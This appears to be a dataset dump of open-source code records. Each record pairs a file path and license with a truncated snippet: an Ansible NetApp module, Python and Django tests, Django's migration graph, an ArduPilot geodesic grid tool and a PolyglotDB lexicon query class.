lib/ansible/modules/storage/netapp/_na_cdot_user.py
59
10381
#!/usr/bin/python # (c) 2017, NetApp, Inc # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = {'metadata_version': '1.1', 'status': ['deprecated'], ...
gpl-3.0
837468220/python-for-android
python3-alpha/python3-src/Lib/test/test_rlcompleter.py
173
2809
from test import support import unittest import builtins import rlcompleter class CompleteMe: """ Trivial class used in testing rlcompleter.Completer. """ spam = 1 class TestRlcompleter(unittest.TestCase): def setUp(self): self.stdcompleter = rlcompleter.Completer() self.completer = rlcom...
apache-2.0
Alwnikrotikz/los-cocos
test/test_shaky3d.py
6
1159
from __future__ import division, print_function, unicode_literals # This code is so you can run the samples without installing the package import sys import os sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..')) # testinfo = "s, t 2, s, t 5.1, s, q" tags = "Shaky3D" import pyglet import cocos from coco...
bsd-3-clause
les-patissiers-du-web/django-website
patissiers/blog/tests/test_model_post.py
1
1648
# -*- coding: utf8 -*- from __future__ import unicode_literals from django.test import TestCase from blog.models import Post, Category import datetime class PostTestCase(TestCase): def setUp(self): # Category category = Category.objects.create(name='category', created=datetime.date.today()) ...
mit
harisibrahimkv/django
django/db/migrations/graph.py
26
15905
import warnings from collections import deque from functools import total_ordering from django.db.migrations.state import ProjectState from django.utils.datastructures import OrderedSet from .exceptions import CircularDependencyError, NodeNotFoundError RECURSION_DEPTH_WARNING = ( "Maximum recursion depth exceede...
bsd-3-clause
khancyr/ardupilot
Tools/mavproxy_modules/lib/geodesic_grid.py
108
2058
# Copyright (C) 2016 Intel Corporation. All rights reserved. # # This file is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the # Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This fi...
gpl-3.0
PhonologicalCorpusTools/PolyglotDB
polyglotdb/query/lexicon/query.py
2
2321
from ..base import BaseQuery class LexiconQuery(BaseQuery): """ Class for generating a Cypher query over the lexicon (type information about annotations in the corpus) """ def __init__(self, corpus, to_find): super(LexiconQuery, self).__init__(corpus, to_find) def create_subset(self, lab...
mit